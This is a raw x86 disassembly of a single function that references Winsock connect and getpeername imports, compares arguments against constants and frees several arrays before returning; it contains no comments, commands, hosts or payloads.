test ebx, ebx
je 0x40be44
push ebx
call fcn.0041ec1b
add esp, 4
jmp 0x40fb92
push reloc.WS2_32.dll_connect
push 0
push 0x59e010
push 1
mov ebx, 0x41f930
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x34], eax
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40be88
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x38], ebx
push reloc.WS2_32.dll_connect
push 0
mov ebx, dword [ebp - 0x38]
mov eax, dword [ebx]
test eax, eax
jne 0x40bea5
mov eax, 0x4fd3e4
push eax
push 1
mov ebx, 0x4203a0
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x3c], eax
push dword [ebp - 0x3c]
push dword [ebp - 0x34]
mov ecx, 2
call fcn.00406aec
add esp, 8
mov dword [ebp - 0x40], eax
mov ebx, dword [ebp - 0x34]
test ebx, ebx
je 0x40bee1
push ebx
call fcn.0041ec1b
add esp, 4
mov ebx, dword [ebp - 0x3c]
test ebx, ebx
je 0x40bef1
push ebx
call fcn.0041ec1b
add esp, 4
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x40]
test eax, eax
jne 0x40bf04
mov eax, 0x59d619
push eax
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468f60
call fcn.0041ec39
add esp, 0x1c
mov ebx, dword [ebp - 0x40]
test ebx, ebx
je 0x40bf39
push ebx
call fcn.0041ec1b
add esp, 4
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40bf57
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
mov ebx, dword [ebp - 0x34]
push dword [ebx]
push 0x59e01f
mov ecx, 2
call fcn.0040110c
add esp, 8
mov dword [ebp - 0x38], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x40bf8c
mov ebx, dword [ebp - 0x10]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x40bfe4
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push reloc.WS2_32.dll_connect
push 0
push 0x59e048
push 1
mov ebx, 0x41f930
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
xor ecx, ecx
test eax, eax
je 0x40c019
mov ecx, dword [eax + 4]
push ecx
add eax, 8
push eax
mov ebx, dword [ebp - 0x34]
mov eax, dword [ebx]
xor ebx, ebx
test eax, eax
je 0x40c02c
mov ebx, dword [eax + 4]
add eax, 8
push eax
cmp ebx, ecx
mov eax, 1
jne 0x40c043
dec eax
test ecx, ecx
je 0x40c043
call fcn.00406b5c
add esp, 0xc
test eax, eax
mov eax, 0
sete al
mov dword [ebp - 0x3c], eax
mov ebx, dword [ebp - 0x38]
test ebx, ebx
je 0x40c063
push ebx
call fcn.0041ec1b
add esp, 4
cmp dword [ebp - 0x3c], 0
je 0x40c1f6
mov ebx, dword [ebp - 0x10]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40c08b
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push reloc.WS2_32.dll_getpeername
push 0
mov ebx, dword [ebp - 0x34]
mov eax, dword [ebx]
test eax, eax
jne 0x40c0a8
mov eax, 0x59d619
push eax
push 1
mov ebx, 0x41ff60
call fcn.0041ec2d
add esp, 0x10
mov dword [ebp - 0x38], eax
mov ebx, dword [ebp - 0x10]
call fcn.00406acc
mov eax, 2
cmp eax, ecx
jl 0x40c0dc
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x3c], ebx
push reloc.WS2_32.dll_getpeername
push 0
mov ebx, dword [ebp - 0x3c]
mov eax, dword [ebx]
test eax, eax
jne 0x40c0f9
mov eax, 0x59d619
push eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x38]
test eax, eax
jne 0x40c10d
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x40c214
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59e076
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x40c2fb
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40c255
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59d73b
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x40c2b7
mov dword [0x5e2ba4], 1
push reloc.WS2_32.dll_connect
push 0
push 0x59e07b
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
jmp 0x40c2f1
mov dword [0x5e2ba4], 0
push reloc.WS2_32.dll_connect
push 0
push 0x59e0a7
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x468eb0
call fcn.0041ec39
add esp, 0x1c
call fcn.00414787
jmp 0x40c2fb
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x40c319
push 1
call fcn.0041ec21
add esp, 4
shl eax, 2
add ebx, eax
mov dword [ebp - 0x34], ebx
push 0x59e0d5
mov ebx, dword [ebp - 0x34]
push dword [ebx]
call fcn.00401004
add esp, 8
cmp eax, 0
jne 0x40c659
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 1
cmp eax, ecx
jl 0x40c35a
mov ebx, dword [ebp - 0xc]
call fcn.00406acc
mov eax, 0
cmp eax, ecx
jl 0x40c677
push 0x80000301
push 0
push dword [ebp + 8]
push 0x20002
push 0
push dword [0x5e2b40]
push 2
mov eax, 1
mov ebx, 0x469160
call fcn.0041ec39
add esp, 0x1c
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], 0xffffffff
jne 0x40fb92
jmp 0x40fb92
mov ebx, dword [ebp - 4]
test ebx, ebx
je 0x40fba2
push ebx
call fcn.0041ec1b
add esp, 4
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x40fbb2
push ebx
call fcn.0041ec1b
add esp, 4
mov ebx, dword [ebp - 0xc]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x40fbd0
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x40fbcc
imul eax, dword [ebx]
jmp 0x40fbc1
mov ecx, eax
test ecx, ecx
je 0x40fbef
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x40fbe8
push ebx
push eax
call fcn.0041ec1b
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x40fbd6
call fcn.0041ec1b
add esp, 4
mov ebx, dword [ebp - 0x10]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x40fc15
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x40fc11
imul eax, dword [ebx]
jmp 0x40fc06
mov ecx, eax
test ecx, ecx
je 0x40fc34
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x40fc2d
push ebx
push eax
call fcn.0041ec1b
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x40fc1b
call fcn.0041ec1b
add esp, 4
mov ebx, dword [ebp - 0x18]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x40fc5a
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x40fc56
imul eax, dword [ebx]
jmp 0x40fc4b
mov ecx, eax
test ecx, ecx
je 0x40fc79
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x40fc72
push ebx
push eax
call fcn.0041ec1b
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x40fc60
call fcn.0041ec1b
add esp, 4
mov ebx, dword [ebp - 0x20]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x40fc9f
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x40fc9b
imul eax, dword [ebx]
jmp 0x40fc90
mov ecx, eax
test ecx, ecx
je 0x40fcbe
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x40fcb7
push ebx
push eax
call fcn.0041ec1b
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x40fca5
call fcn.0041ec1b
add esp, 4
mov ebx, dword [ebp - 0x24]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x40fce4
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x40fce0
imul eax, dword [ebx]
jmp 0x40fcd5
mov ecx, eax
test ecx, ecx
je 0x40fd03
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x40fcfc
push ebx
push eax
call fcn.0041ec1b
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x40fcea
call fcn.0041ec1b
add esp, 4
mov ebx, dword [ebp - 0x28]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x40fd29
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x40fd25
imul eax, dword [ebx]
jmp 0x40fd1a
mov ecx, eax
test ecx, ecx
je 0x40fd48
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x40fd41
push ebx
push eax
call fcn.0041ec1b
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x40fd2f
call fcn.0041ec1b
add esp, 4
mov ebx, dword [ebp - 0x2c]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x40fd6e
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x40fd6a
imul eax, dword [ebx]
jmp 0x40fd5f
mov ecx, eax
test ecx, ecx
je 0x40fd8d
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x40fd86
push ebx
push eax
call fcn.0041ec1b
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x40fd74
call fcn.0041ec1b
add esp, 4
mov esp, ebp
pop ebp
ret 4